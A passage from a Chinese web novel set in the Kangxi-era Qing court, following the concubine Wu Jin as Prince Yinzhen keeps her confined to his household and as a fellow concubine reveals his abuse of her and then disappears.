乌锦叹口气,他哪是不想让她见弘春,他这是想要囚禁她,让她出不去,这是真的要把她当成金丝雀,她想自己要是退让了,一步步退让,不知道以后他又要做什么。
“福晋说得对,容我再想想,福晋,你跟钮祜禄妹妹说弘历一定不会一直养在我这,让她宽心。”
“放心吧,我会传达的。”
乌喇那拉氏看出来乌氏是真的不想养弘历,她也松一口气,她现在不容许任何人动摇弘晖的地位,得到想要的答应后,她满意地离开。
乌锦也知道四阿哥让她养弘历的意思,跟福晋说得差不多,他已经容不下弘春,也不想让她跟十四见面。
算了,她本来就想让十四跟弘春远离京城,他们要是离京,她也就见不到他们,跟现在没什么差别。
夜里,她跟他说她以后不会见弘春,让他把弘历还回去给钮祜禄氏。
“弘历在你这养着挺好的,不用还回去。”
乌锦怒道:“我都说了我不会见弘春了,你还想怎么样?”
“我要你跟我保证你不会再踏出府邸一步。”
胤禛一想到她出府跟十四见面,想到八年里她跟十四做过所有亲密事,他就想将十四千刀万剐,他不可能再让她跟十四见面,一次都不行,借着见弘春的由头也不行,弘春是她跟十四的孩子,她见到弘春自然会想起十四。
他抹不去他们的八年,那他就让他们再无见面的可能,哪怕她恨他,他也要把她关在府里。
“胤禛,我于你而言就是笼中鸟,你从未尊重过我。”
“十四尊重过你吗?你是不是很想回到十四身边?”
乌锦见绕来绕去还是绕到这上面来,她就不想再说话,爱怎么样就怎么样吧。
“不说话?你是不是想回到十四身边?”
胤禛抬起她的下巴,让她正对着他。
乌锦直接咬他的手,翻个白眼,背过身,不想搭理他。
胤禛也不恼,不介意手上那一点点疼,他从背后拥着她入睡。
110-116
第111章第111章新文《康熙家的德妃又作又……
康熙五十三年四月底,皇上再召阿哥们的儿子进宫,三岁到十岁之间的小阿哥都要入宫住一个月,皇上说是要见见孙子,跟孙子享天伦之乐。
而弘历三岁多快四岁,也要进宫。
乌锦把钮祜禄氏叫过来,进宫一个月肯定要准备不少东西,尤其是小孩子,弘历是钮祜禄氏亲手带大的,需要什么不需要什么,额娘最清楚。
她让她们收拾,弘历进宫也需要带几个奴才贴身伺候,带谁进宫,她都让钮祜禄氏自己决定,她不插手不过问。
等弘历被送进宫后,乌锦这边也清闲许多。
一日,她午睡醒来,桃园里外都透着安静,她慢悠悠地穿衣,后走到院子里,前阵子因为连着下雨,院子里的盆栽被雨水打落不少花瓣跟枝叶,但这几日天气好,正值春日,盆栽又冒出不少新叶新枝。
乌锦蹲在院子里,难得有闲心看这些花花草草。
“主子,二公子给主子来信。”
乌锦接过小才子递过来的信,他口中的二公子是乌明,乌明一般给她传信是家里出了什么事,她忙打开一看,原来是她阿玛病了,前阵子还好好的,怎么突然间就病了,她阿玛上年纪了,估计是病得不轻,乌明才给她传信。
因为四阿哥把弘历扔给她养,她生他的气,除了他过来找她,她现在基本上不会主动过去前院。
“小才子,你看看主子爷今日在不在府里,若是在的话,你去膳房拿些点心,我要过去前院一趟。”
小才子点头应是,他过去前院打听,很快回来说四阿哥正在跟人议事。
“那我等一会再过去。”
乌锦坐在院子里的秋千上,这秋千是很多年前建的,她还记得曦宁小时候坐在她的小秋千上荡来荡去。
不知过了多久,小才子过来说四阿哥那边似乎得空了,乌锦便带着一盘点心过去前院。
苏培盛守在书房外,这阵子主子爷跟侧福晋闹矛盾,主子爷心情不好,他们这些贴身伺候的奴才最能感知到,在主子爷身边都小心谨慎起来,生怕惹主子爷生气。
“我给主子爷送些点心。”
“奴才这就进去通传,乌主子稍候片刻。”
好在主子爷这次没有将侧福晋拒之门外,苏培盛出来时是带着笑脸,恭恭敬敬地请侧福晋进去。
乌锦进去后见书桌上摆着不少折子,他看上去有些疲惫。
“什么事?”
“我阿玛病了,我想出府回娘家一趟。”
“既然是病了,你过去也没有用,我会让太医过去一趟。”
乌锦真是气笑,他这是不想让她出府,连她阿玛病了,他都不同意她出去,数数日子,她已经快一个月没有出去过了。
“主子爷莫不是想关我一辈子?”
“你阿玛年纪大了,有些小病很正常,你既不懂医,过去也无济于事,不如让太医过去。”
乌锦冷冷地盯着他:“若是我一定要出府呢?”
胤禛抬起头,很是平静道:“乌锦,你别为难我,我都说了会让太医过去给你阿玛看诊。”
乌锦呵呵一笑,怎么就变成她为难他了,他要将她困在府里,怎么还成了她的错。
“胤禛,我不会再见十四跟弘春,我只是想回乌家看看我阿玛。”乌锦说这话时充满了无力,她劝十四带着弘春离开京城,本就抱着不再见他们的想法,也算是如他所愿。
胤禛知道乌锦的性子,真把她逼狠了,她会反击的,于是他说道:“我明早陪你回乌家。”
乌锦转身离开书房。
第二天,乌锦跟胤禛一块出府,两人坐同一辆马车,面对面坐着,乌锦不说话,只埋头翻书。
“弘历在宫里挺好的。”
“主子爷这话应该跟钮祜禄妹妹说。”
“弘历也是你的孩子,弘历这孩子也很乖巧懂事,你若是养他长大,他一定会孝敬你的。”
乌锦不想回话,翻书的动作更明显了。
胤禛也没有继续说下去。
到了乌家门口前,胤禛下车后想搀着乌锦下手,乌锦没有搭理他,自己跳下来,乌明跟他的媳妇早早在门口等待,见到四阿哥后拉着他的媳妇行礼。
“进去吧,今日我们是过来看看你阿玛的,这两位是太医院的太医,医术了得,他们应该能治好你阿玛。”
胤禛给乌明他们介绍身后的太医。
乌明连忙感谢:“多谢王爷,王爷的大恩大德,微臣谨记在心。”
乌锦径直走进去,一进到屋内,她就闻到药味,她额娘跟小娘都在床边守着,她阿玛虚弱地躺在床上。
“阿玛……”她忍不住喊了一声,见到自家阿玛这般虚弱的样子,她眼眶泛红。
“桃子,阿玛没事,乌明这小子就是大题小做。”
乌锦觉得她阿玛是撑着一口气说这些话,只说一句话看起来就很费劲,她忙让四阿哥带来的两个太医给她阿玛看诊。
两个太医把脉看诊过后又问额娘她们她阿玛近几日的病症,她额娘说她阿玛前几日晚间忽然觉得头眩,开始呕吐,浑身酸痛难支,这几日一直没见好,反而越发无力,吃不下什么东西,身体酸疼难忍,连起身走路都成问题。
“乌大人这是年迈体弱,突感风寒所致,本是伤寒之症,不过因年迈而无法自己调节痊愈,病情才不断加重,湿痰积于喉中,无法吞咽,微臣尽量给乌大人医治,化痰去热。”
太医们开始写药方。
乌锦看着年迈的阿玛,眼泪不由自主地流下来,她情绪感伤,四阿哥握住她的手时,她也没有甩开。
她借着四阿哥高大身形的遮挡转身擦去眼泪,怕被阿玛看到还要反过来安慰她。
太医们写完药方后,乌明就赶紧去抓药,她阿玛也累得睡过去。
“桃子,别担心,有我们照看你阿玛呢,太医说了只是普通风寒,喝几天药就好了,你跟王爷先回去。”额娘说道。
“我明日再过来,你们让阿玛好好喝药,有什么事不要瞒着我。”
“放心吧。”
乌锦知道四阿哥在这让他们很拘谨,于他们一家而言,四阿哥是王爷,是主子,他们是奴才,在主子面前,他们连大气都不敢出。
乌锦带着四阿哥离开。
“只是普通风寒,你阿玛肯定会好起来的。”胤禛拥着她安慰道,乌锦向来是个孝顺的女儿,为了家人,她会愿意委屈自己。
普通风寒对年轻人而言可能不是什么大病,但她阿玛年纪大了,小病很容易成大病,她看她阿玛不仅胡子发白了,整个人也变得干瘦,一眨眼,她阿玛已经五十多岁了。
胤禛见乌锦真心为她阿玛担心,不由想到前阵子皇阿玛生病,乌锦是真心担心她阿玛,盼着她阿玛病愈,这是普通人家的亲情,但皇家不一样,皇阿玛一病,底下的大臣就催着皇阿玛另立太子,生怕皇阿玛一走,而新太子没选出来,而他们身为皇阿玛的儿子,担心皇阿玛的同时也担心皇位落到谁水中,其实心境已经不纯粹,连他自己也是如此,他走到这一步,对皇位是志在必得,不容有失,他们跟皇阿玛之间是君不君,臣不臣,父不父,子不子。
“我明日可以过来吗?”
“我陪你。”
乌锦深深地看他一眼,他这是不打算让她单独出府了。
胤禛没有躲避,只是隔着衣服摸着她的后背,他坦坦荡荡,不藏匿自己的心思,哪怕她恨他也好,他绝不容许她单独出府。
之后几天,胤禛都陪着乌锦过去乌锦看乌志善,好在经过太医的医治,乌志善病情有所好转,能吃得下东西了。
乌家人都以为四阿哥很重视乌锦,很喜欢乌锦,才会陪着乌锦过来乌家,殊不知四阿哥只是不想让乌锦单独出府。
等乌志善身子好转后,乌锦才没有天天过去乌家。
十几天过去,弘历进宫满一个月,顺利出宫,乌锦本以为四阿哥会让弘历回到钮祜禄氏身边,结果他还是将弘历送到她身边。
钮祜禄氏身为府里的格格,也称不上十分得宠,她不敢多说什么。
乌锦无心养别人的孩子,钮祜禄氏不敢过来看孩子,她就每日召钮祜禄氏过来桃园。
弘历基本上是钮祜禄氏在照看,她不过问。
胤禛知道后也睁一只眼闭一只眼。
曦宁觉得天气好,想跟额娘出去逛街,结果她问阿玛,阿玛直接说不可以。
曦宁不解,问为什么不可以。
“不可以就是不可以,你额娘想待在府里,不想出去。”
曦宁又不是三岁小孩,哪那么容易被骗,她看向自己的阿玛,问道:“阿玛,你为什么要关着额娘?”
“阿玛没有关着你额娘,是你额娘自己不想出去。”
曦宁难得对着阿玛大声道:“阿玛,你说谎,额娘明明想跟我出去的,是阿玛不让额娘出去,阿玛,你是不是怕十四叔把额娘带走?”
“曦宁,我是你阿玛,你不可以这样跟阿玛说话。”
胤禛不喜欢自己女儿挑战他身为父亲的权威,他说不可以就是不可以。
曦宁见阿玛态度强硬,她跺脚,气呼呼地转身离开,以前阿玛都顺着她,她做什么都可以,如今阿玛总是对她说不,她回到桃园后见到额娘就忍不住落泪。
“这是怎么了?怎么哭了?”
曦宁到额娘怀里落泪,倚在额娘身上,边哭边说:“我跟阿玛说我想跟额娘一块去逛街,阿玛不同意,额娘,阿玛是不是不允许你出府?”
乌锦不想自己女儿夹在她跟胤禛中间,对女儿而言不是好事,她帮曦宁轻轻擦去眼泪:“你阿玛说得对,是额娘不想出去,你别跟你阿玛置气,你想出去的话跟你曦玉姐姐一起出去,额娘待在府里挺好的。”
“额娘说谎,你们都在骗我。”
“额娘没有。”
“明明是阿玛关着额娘,额娘为什么要说谎,阿玛以前不是这样的,额娘,阿玛为什么会变成这样?”
乌锦知道女儿长大了,她不是小孩子,没那么容易被骗,她双手捧着女儿的脸,认真道:“你阿玛在跟额娘置气,这是你阿玛跟额娘之间的事,额娘不想你夹在中间,不管怎么样,你阿玛始终是你阿玛,他对你好就够了,你无需替额娘抱不平,额娘是大人,真有什么事,额娘可以自己担着,额娘不需要你替额娘去跟你阿玛吵架,你明白吗?”
“可是阿玛对额娘不好。”
乌锦摇摇头:“你不能看表面,其实你阿玛对额娘很好,额娘说了,你无需替额娘抱不平,这是我们大人之间的事,我们可以自己解决的,你只需要开开心心地过好每一天就够的,其它的,你不用操心。”
“我只是想跟额娘出去逛街。”
乌锦摸了摸曦宁的脑袋:“没事,以后总有机会的,实在不行,我们把你阿玛带上,好啦,别难过了,这么大人了,怎么还哭鼻子,你既然有空,不如去看看你外公,你外公前阵子生病了,你替额娘到你外公身边尽尽孝。”
曦宁嗯了一声。
她第二天就出府过去外公家,在外公家待了半天才回来,回来跟她额娘说外公好多了,外婆说外公已经能正常吃喝。
乌锦松一口气,好了就行,她还希望她阿玛长命百岁呢。
只过两天,桃园迎来一个不速之客——-章佳.颂心,当年跟她同为外室,又在同一年进府的章佳氏。
这些年,章佳氏在后院里深居简出,因为没有孩子,家世又低又不得宠,她在后院里挺默默无闻的。
乌锦再见到章佳氏,只觉得她已经没有当年的神采,她记得章佳氏刚当外室那会还过来找过她,神情比较得意气盛,而此时的她更像是蔫了的花朵,已无光彩,甚至眼神里都充满畏惧。
“章佳妹妹,请坐。”
“侧福晋,我有事相求。”章佳氏看了看那些奴才,欲言又止。
乌锦会意,将屋内的奴才都屏退。
人一走,章佳氏就掀起她的袖子,她穿的是高领旗装,她也揭开旗装的扣子,露出脖子。
肌肤一露出来,乌锦见到她手臂上那些交错的伤口,有新伤有旧伤,不是普通的青紫,而是直接破皮见肉的伤口,脖子上也有掐痕,她很是诧异,问她这些伤口怎么来的。
“乌姐姐,你难道不知道吗?你我曾经同为外室,你见到这些伤口,难道不觉得眼熟吗?难道四阿哥不曾在你身上留下过这些伤口吗?”
乌锦眼神一震,章佳氏的话让她十分诧异地看着章佳氏,是四阿哥弄的,以前四阿哥在她身上留下过青青紫紫的淤青,以前他心情不好的时候会在她身上发泄,在床上会变得十分暴戾,不过那都是以前,她以为四阿哥能控制自己的脾气了,她很多年没有被这样对待过了,偶尔他生气的时候还是掐她,不过不会掐得太重,更像是情趣那一种。
章佳氏这么一说,乌锦想起以前的事,她再挽起章佳氏的袖子,这伤口蔓延到整条手臂,她从章佳氏的脖子上看下去,发现何止是手臂,几乎是遍体鳞伤,有些伤口已经长好了,有些是刚弄的。
“这些……都是四阿哥弄的?”
章佳氏轻笑,笑着笑着就哭了。
“侧福晋不敢相信吧,侧福晋已经很多年都没有被这样对待过了,我当年以为我当上四阿哥的外室是好事,可是这么多年,我才想通,我为何会当上四阿哥的外室,我是乌姐姐的替代品,四阿哥不舍得再伤害乌姐姐,所以才找上我,这些年,一旦四阿哥心情不好,我身上就会多了很多伤,四阿哥下手越来越狠,乌姐姐,你当年可听说过我怀孕的消息?”
乌锦点头,当年她记得谢嬷嬷还是瓜嬷嬷跟她说过一嘴,不过后来她见到章佳氏肚子没有隆起,她以为那是假消息。
“当年我的确怀孕了,不过我没有乌姐姐那么幸运,乌姐姐可以生下孩子,但我不可以,四阿哥让我喝了堕胎药,他不允许我生下孩子,那次堕胎伤了身子,我的肚子再也没有动静,不过我想即使有,四阿哥还是不会让我生下孩子,我没有那么幸运,让四阿哥喜欢上我,我只是四阿哥情绪发泄的工具。”
“你为什么要告诉我这些?”
章佳氏眼神突然变得坚定:“因为我不想死,乌姐姐,四阿哥这阵子心情不好,以前他在我身上留伤口,虐待我,我都可以忍,那些伤口只需要过几天就好了,只是现在不行,四阿哥他……他疯了,乌姐姐,我好疼啊,我快要死在他手里了,乌姐姐,只有你能救我,只有你知道他的秘密,别人都以为四阿哥性子温和,可是只有我们知道四阿哥本性嗜血残暴,救救我,我不想死。”
乌锦相信章佳氏说的,以前的四阿哥就是如此,他一旦心情不好,他在床上就很暴力,与其说他虐待人,不如说他借着伤人发泄自己的情绪。
以前的他是阿哥,又住在宫中,不想让别人知道他有这一面,所以才会养外室,如今的他是王爷,皇位之争越演越烈,他更不可能让别人知道他有这一面,他在外界眼中是温和的性子,百姓不会想要一个残暴的帝王,他在掩饰自己这一面。
乌
锦知道他出生皇家,身为尊贵的皇子,其实底下奴才的命于他而言如同蝼蚁,当年的她便是如此,他只把她当成卑贱的奴才,在他眼里,奴才就是奴才,奴才的生死是可以在他手上拿捏,他想杀就杀,他不可以可惜一个奴才的死。
章佳氏的确是当年的她,只是后来四阿哥喜欢上她,她才不会变成章佳氏。
四阿哥这阵子心情不好,她也能感觉到,她没想到他都发泄在章佳氏身上,将章佳氏虐得遍体鳞伤。
“乌姐姐,我想出府了,我不想当这个主子了,你让四阿哥放我出府吧,这么多年,我从未跟别人说起过这个秘密,我出府后亦不会对旁人说,我必定守口如瓶,我只想活着,我不想死,乌姐姐,只有你能帮我。”
章佳氏哭着恳求道,她直接跪下来。
乌锦想把她扶起来,章佳氏不肯起来。
“乌姐姐,救救我,我只想活着,让我出府吧,不然迟早有一天,我会死在四阿哥手上。”
乌锦深深地叹口气:“我不知道自己能不能帮到你。”
“乌姐姐,只有你能帮到我。”
“你先回去吧,我再想想。”
章佳氏磕了三个响头,她拖着残弱的身子离开桃园。
乌锦知道章佳氏说得不假,她伤得很重,迟早有一天会死在四阿哥手中,这么多年,她的身子本就千疮百孔了。
她也知道章佳氏过来找她,肯定瞒不过四阿哥,她这边一点动静都瞒不过他。
傍晚,四阿哥过来时,乌锦没有在曦宁还在的时候提起这事。
等到两人躺到一张床上,乌锦才说了章佳氏想要出府的事。
“她是府里的侍妾,不可以随意出府,王府不是想进就进,想出就出的地方。”
乌锦皱眉说道:“她不过是想出府而已,爷何不放她一条生路。”
“你在可怜她?”
乌锦也不知道自己是在可怜章佳氏,还是在可怜自己,章佳氏就是曾经的她,四阿哥心情不好有一半是因为她,章佳氏也因为她受到更多的伤害。
“乌锦,收起你那些没用的怜悯心。”
乌锦感觉到他语气变得冰冷,但她还是为章佳氏求情:“主子爷,你放她出府吧,就当是你这个侍妾死了。”
“乌锦,此事跟你无关,我自有分寸,你若是不想睡的话,我们来做别的事情。”
“你要怎么样才能放过她?”
胤禛不喜欢乌锦为了别人求他,不喜欢她太过仁慈,仁慈的人注定成不了大事,他搂住她,堵住她的嘴,不想让她说话,他感觉到温热的泪水流到他脸上时,他定眼一看发现她哭了。
“她的生死跟你有什么关系,她于你而言不过是一陌生人,乌锦,你太妇人之仁了。”
“主子爷,当年你若是没喜欢上我,我早就是一抔黄土了。”
“我会放了她。”
“谢谢主子爷。”
胤禛帮她擦去眼泪,温声道:“睡吧,我明日会放她出府。”
“希望主子爷别食言。”
“睡吧。”
乌锦哭累了就睡着了,第二天起来,她穿好衣服后就过去章佳氏住的院子,章佳氏住的也是独院,小小的独院,她到章佳氏的院子时已经不见章佳氏的人影,一大早就出府了,她松一口气,还好他说到做到,希望章佳氏能忘掉这些年发生的事情,在府外过上自由安稳的日子。
第112章第112章新文《康熙家的德妃又作又……
乌锦进去章佳氏的房间,她记得过年的时候她来过一次,章佳氏的房间就是普通的闺房,不知是章佳氏走得太匆忙,这里面的东西好像都没被拿走,可能章佳氏只是拿走攒下的钱财。
苏培盛带着两个奴才进来,给她行礼。
“他们是伺候章佳小主的奴才吗?”
苏培盛摇头说不是,说原本伺候章佳小主的嬷嬷跟章佳小主一块出府了,他们只是过来收拾的奴才。
乌锦看了一眼苏培盛,觉得有些奇怪,章佳氏刚走,他们就过来收拾,未免太过着急,而且苏培盛是四阿哥身边的贴身太监,收拾这种小事需要他亲自过来盯着吗?
“苏公公,章佳小主几时离府的?”
“今日卯时。”
苏培盛说完抬头见到侧福晋一双眼眸十分凌厉锐利,他不由地心中一颤。
“那章佳小主搬去何处?”
“这个奴才不知道,奴才没有过问,主子爷说了既然章佳小主选择出府,便不是我们王府的人,她想去哪就去哪。”
“他杀了她是不是?”
苏培盛脸上有明显的一顿,随即否认道:“侧福晋,章佳小主是真的出府了。”
乌锦嘲讽一笑:“苏公公,你们是不是没想到我会过来吧,你们是过来收拾还是想抹去你们杀人的痕迹?”
苏培盛还是否认道:“侧福晋,章佳小主是真的出府了,章佳小主一听说可以出府,她就迫不及待离开,只带走一些首饰跟银子。”
乌锦深深地看了苏培盛一眼,不再追问,直接离开,她回到桃园后自己在房间内坐了好久,直到曦宁过来跟她说话,她才收起沉重的心思。
一天过去,到了夜里,四阿哥躺在床上时跟她说他并没有杀章佳氏,章佳氏自己出府了。
“我相信主子爷说的。”乌锦回道,抱着他,脸贴在他胸膛,她终于明白一句话——-我不杀伯仁,伯仁却因我而死。
胤禛也回抱着她,在她脸上亲一下,说了一句睡吧。
乌锦闭上眼睛,她不堪重负,很快睡过去,只有这样,她才能继续过后面的日子。
过了几日,福晋对外宣称章佳氏病逝,毕竟一个大活人没了还是出府了,总得有个说法,毕竟章佳氏也在后院里待了这么多年。
眨眼间又到了五月底,曦玉格格九月要出嫁,府里这阵子也开始忙曦玉格格的嫁妆,曦玉格格的嫁妆有内务府那边添置的,也有福晋跟李氏她们添置的。
曦玉格格被皇上封为郡主,又是四阿哥的长女,是四阿哥府里第一个出嫁的格格,这嫁妆又多又厚。
因为曦宁跟曦玉关系好,曦玉在她不在的八年里的确照顾曦宁许多,乌锦往曦玉格格的嫁妆里添了五百两银子。
算算日子,她也有两个月没出府,除了阿玛生病时,她跟四阿哥一块回娘家几天。
这两个月,她很少听到十四阿哥跟弘春的动静,没有消息也许就是好消息。
乌锦刚送走宋格格她们,她喝口水润润喉,正准备看书时,曦宁就牵着四阿哥进来。
曦宁兴奋道:“额娘,阿玛说要带我们去骑马。”
乌锦看向四阿哥。
胤禛笑道:“是皇阿玛要我们过去,要在皇苑那边住上几天。”
“额娘,阿玛说你也可以去,我们一起过去好不好。”
她去哪里都要经过他的同意,连曦宁都知道只有他说可以,她才能出去,乌锦在心中苦笑,不忍扫女儿的兴致,她挤出笑容:“既然要住上几天的话,我们是不是得收拾东西,来得及吗?什么时候过去?”
“阿玛说是后天,来得及,君梅姐姐她们很快就可以收拾好了,额娘还没去过皇苑吧?”
乌锦说她没去过,她倒是去过庄园。
“那里可好玩了。”
“是吗?额娘没去过,你要带着额娘一块玩。”
曦宁用手拍拍胸口保证道:“那是肯定的,我们跟阿玛一起。”
乌锦问四阿哥大概要待几天,他说要待四五天,她就让君梅她们收拾四五天的行李,好在如今的天气不冷不热,正是出游的好日子,太厚的衣服不需要带太多。
胤禛看着她们母女两已经开始收拾东西,兴致勃勃地讨论带哪些东西,他就没有管她们,只在一旁温柔地看着。
“弘历去吗?”乌锦抬头问他。
“他也去。”
乌锦便让人去通知钮祜禄氏一声,弘历还是住在桃园,不过由钮祜禄氏这个生母照顾。
直到出发当日,乌锦才知道不仅仅是弘历过去,连福晋她们也过去,带着弘晖弘时他们。
她从福晋口中得知这次去皇苑是皇上的意思,皇上病愈就想着出宫,他已经不会选择去太远的地方,这个年纪的皇上不会考虑南巡,就近选择了皇苑,就在京郊。
皇上命三阿哥、四阿哥、五阿哥跟九阿哥随行,带上他们的孩子,乌锦也才知道四阿哥为什么让她随行,原来是此次去皇苑,十四没有被皇上要求随行,她见不到十四跟弘春,他才让她去的。
去皇苑的路上,乌锦跟曦宁坐在同一辆马车,她问曦宁去过皇苑几次,曦宁说她去过两次,加上这次是第三次,其实不算频繁,曦宁都十四岁了,才去过两次。
“额娘,柳絮好多啊。”
乌锦把飘到曦宁脸上的柳絮拿下来,把车窗关上,五月份的京城有许多柳絮,漫天飞舞。
皇苑不算太远,车马行驶了一个多时辰就到了,天还没黑,一行人到皇苑的行宫上安置下来。
“走
,带你们娘两去骑马。”
“阿玛,你太好了。”曦宁笑道,想也不想地说去换骑马装。
乌锦也跟着换上骑马,他们三人过去骑马的地方,曦宁的马是一匹小马,个头不高,她骑上去刚好,她已经高兴地上马,缰绳一拍屁股就跑远了。
“放心吧,你女儿会骑马,从小骑到大的,不用担心。”胤禛一下子看出乌锦的担心,解释道。
“我怕她太兴奋太莽撞,还是让两个人跟着她。”
“肯定有人跟着她,不用担心,倒是你,这么多年还记得如何骑马吗?”
乌锦其实在镇北关那边骑过很多次,弘春小的时候,十四就带着他骑马,父子两最大的爱好就是骑马,连带着她的马术也很娴熟,只是在四阿哥面前,她不能这么说。
“只大概记得,主子爷,你不用管我,你跟曦宁一起吧,我在后面跟着你们就行。”
“曦宁很少从马背上摔下来,倒是她额娘,我记得从马背上摔下来过,我更担心她额娘。”
明显挪揄的话让乌锦捶他胸膛两下,她示意奴才把她的马牵过来,她的马匹也一样是个头不高的小马。
“你是不是太小瞧我了?曦宁是小孩子,我可不是小孩子。”
胤禛轻笑:“你先骑骑看,我怕你很久没骑而不适应,先从小马开始。”
乌锦没理他,跟曦宁一样缰绳抽马的屁股,一溜烟跑开。
胤禛也很快上马追上她。
乌锦在宽阔的草地上肆意驰骋,这阵子烦闷的心情才纾解一些,她也没看四阿哥,只管自己骑得开心。
渐渐的,父女两都跟上她,曦宁的笑声在她耳边响起。
“额娘,我们看谁先到前面那棵大树,我们来比赛。”
“好,额娘不会让你的。”
“我才不要额娘让我,我数三二一,三、二、一,驾……”
乌锦跟女儿赛马,她略胜一筹,满脸笑意地看着自己的女儿:“姜还是老的辣。”
“原来额娘这么厉害,我还以为额娘不怎么会骑马呢。”
乌锦看向四阿哥,笑道:“当年你阿玛教的,在你阿玛面前,额娘得表现好一点才对得起教的师傅,好啦,快天黑了,我们回去吧。”
曦宁意犹未尽,想着明日还可以继续骑马,不用急在一时,于是点点头同意回去。
他们一家三口并排骑着马走在一块,乌锦感受到春风拂面,不由地仰着脸迎风。
胤禛偏头看她,见她难得这么惬意,嘴角也忍不住上扬,眼神很温柔,她要是天天这么开心就好了。
回到他们住的地方时,还没到傍晚,但曦宁肚子饿了,就张罗着摆膳。
他们三人先吃了一顿,过一会儿,四阿哥又带着弘晖跟弘时过去皇上那吃一顿。
入夜后,乌锦擦干头发后还不着急躺下,而是拿着一本话本子翻看,四阿哥洗完澡后进来,见到昏黄灯光打在她的侧脸上,十分娴静好看,岁月不败美人,她这张脸真的出色,怪不得能迷住十四。
“别看了,别总是夜里看书,小心看坏眼睛。”
“我看会书也不行吗?”
“你看看你双腿内侧有没有磨破,先擦擦药,我给你擦吧。”
她今天骑了半天的马,胤禛怕她磨破皮,拿来药膏想给她擦药。
“我没事,不用擦。”
胤禛不信她,抽走她手上的书,直接将她抱到床上。
乌锦也没有太多害羞之意,也算是多年“老夫老妻”了,哪里没看过,哪里没碰过,她就这样看着他给她擦药,她不过是磨破点皮而已,她不觉得疼。
“明日歇一歇,这里有一处温泉,明日不要去骑马,你带着曦宁去泡温泉吧。”
“你呢,你去干什么?”
“我要陪皇阿玛。”
乌锦哦了一声,这次是跟皇上过来的,不是只有他们三个人,他要到皇上面前尽孝,让皇上开心才是最主要的,他要先讨好皇上。
胤禛抬眸看她,放下药膏后就倾身过来。
“我都受伤了,你还不放过我。”
“不碍事,你疼的话就喊出来。”
乌锦捏他的脸一下。
胤禛吻得更用力,只有这样,他才能感觉到她的心在他这,没有想着别人,他恨不得占据她的全部,将她揉入骨血,她将她拥得紧紧的。
“嗯……我快吸不上来气了,你要憋死我啊。”
胤禛这才稍微松开一点,笑着看她,擦了擦她唇角的津液,问她想不想要。
“要做就做,不做就睡觉,哪那么多废话。”
“急什么,还有很多时间。”
乌锦中途在他脸上咬一口,想着他明日去见皇上,让他顶着伤口去见皇上。
……
翌日,胤禛还是带着弘晖跟弘时去见皇阿玛,应该说是陪着皇阿玛在皇苑里闲逛,皇阿玛老了,就想子孙环绕在身边,除了他们,还有老九的两个儿子。
“四哥,你的脸上怎么了?”胤禟问他。
“受了点伤。”
“我怎么看像是被人咬的,上面还有牙齿印。”
胤禛不以为意道:“九弟应该是看错了。”
胤禟不依不饶,直接跟皇阿玛告状,皇阿玛眼睛不像胤禟那么好使,皇阿玛看一眼后说让他注意别受伤。
胤禟没得逞,其实哪怕是他承认被人咬的又怎么样,皇阿玛才不会因为这种小事而惩诫他,这又不是什么伤天害理的大事,胤禟也是成过亲的人,这顶多算是闺房之乐。
胤禛不觉得这会有损他的颜面,皇阿玛可能还会觉得他有人情味。
在四阿哥陪皇上的时候,乌锦带着曦宁跟福晋她们过去泡温泉,在场的只有女子,她们又说起曦玉即将到来的亲事。
“乌妹妹,曦宁的亲事也该提上日程了。”福晋说道。
“这个得由主子爷说了算,倒是弘晖阿哥年纪也不小了,弘晖的福晋,福晋可有人选?”
李氏一听,立即竖起耳朵,弘晖的婚事可是大事,弘晖比曦宁还大两岁,不知道福晋想为弘晖选什么样家世的女子当弘晖的嫡福晋。
“弘晖的确不小了,我跟主子爷也为他的婚事发愁,他的确该选嫡福晋了,不过这还得看主子爷跟皇上的意思。”
李氏心想福晋其实什么也没透露,据她所知,弘晖已经有两个侍妾了,只是侍妾是侍妾,嫡福晋的人选肯定比侍妾要慎重,尤其是主子爷有可能坐上那个位置,弘晖的嫡福晋家世一定不会太低。
李氏心想她得留意起来了,这阵子忙曦玉的亲事,倒是忘了这一茬。
她们一群人跑了半个时辰温泉后才回去。
乌锦对弘晖的婚事其实不关心,又不是她的孩子,她哪会操这个心,她回到房间后拆去珠钗。
“额娘,我饿了。”
乌锦便让人去膳房弄两碗牛肉面,等热乎乎的牛肉面上来,母女两坐在一块吃面。
四阿哥过来时就是见到母女两在吃面,母女两长得很像,像是同胞姐妹。
“怎么不等我?”
乌锦抬头,稍显疑惑,他也没让她们等他啊,谁知道他几时回来,况且跟着皇上不至于没吃的吧。
“阿玛,你要吃吗?我的给你吃一口。”
胤禛见女儿把她吃剩的给他吃,他忍不住敲了敲女儿的脑袋,没好气道:“你就让阿玛吃你剩下的啊,你可真是孝顺。”
乌锦在一旁笑出声。
“阿玛,我一直都很孝顺,别人我还不一定分给他呢。”
乌锦想让人再过去膳房一趟,胤禛摆摆手说不用了,他不饿。
“那我就不分给阿玛了。”
“你自己吃吧,小没良心,跟你额娘一样都是没良心的。”
胤禛刚说完就被乌锦瞪一眼,他笑道:“我收回,怎么样,今日有没有去泡温泉?”
“去了,泡了半个时辰,皮都快要泡皱了。”
“这温泉的确不适合泡太久。”
乌锦见他似乎无事可做,还待在她们的房间里面,她也没再管他,继续吃面。
胤禛其
实是难得清闲,过来皇苑这边不用处理公务,也不用看太多折子,就是陪皇阿玛过来玩的。
他看着母女两一块吃完面,一块擦嘴,哪怕是简单看着,他也觉得开心。
“额娘,我困了。”
“刚吃完不可以立刻躺下去,先消消食,额娘跟你到院子那边走走。”
她们跟院子那边散步,曦宁抱着她额娘的手臂,偷偷跟额娘说她还不想嫁人,她知道自己快要嫁人的年纪了,但她不想去别人家,只想待在自己家,阿玛额娘都在。
“放心吧,额娘也不会让你这么早就嫁人的,更何况你上面还有你弘晖哥哥呢,至少等你弘晖哥哥娶亲后,你才会嫁人。”
“那就好。”
乌锦揽着女儿的肩膀,她也不希望女儿这么快就嫁人,这古代女子嫁人不是好事,女儿已经是身份尊贵的格格了,她不嫁人也可以过得很好,嫁人后有可能怀孕,这古代女子怀孕就是过鬼门关,她内心是不想女儿走这一遭的。
“额娘,你难道不想知道弘春弟弟的消息吗?”
乌锦见女儿压低声音,生怕在房间内的四阿哥听到,她郑重跟女儿说道:“曦宁,额娘不需要你去打听弘春他们的消息给额娘,你只需要做好阿玛跟额娘的女儿就好了,你千万别去打听,若是你从哪里听到他们的消息,也无需告诉额娘,除了生死,其他的都是小事,额娘不想把你牵扯进来,你明不明白?”
曦宁点头,说她明白了。
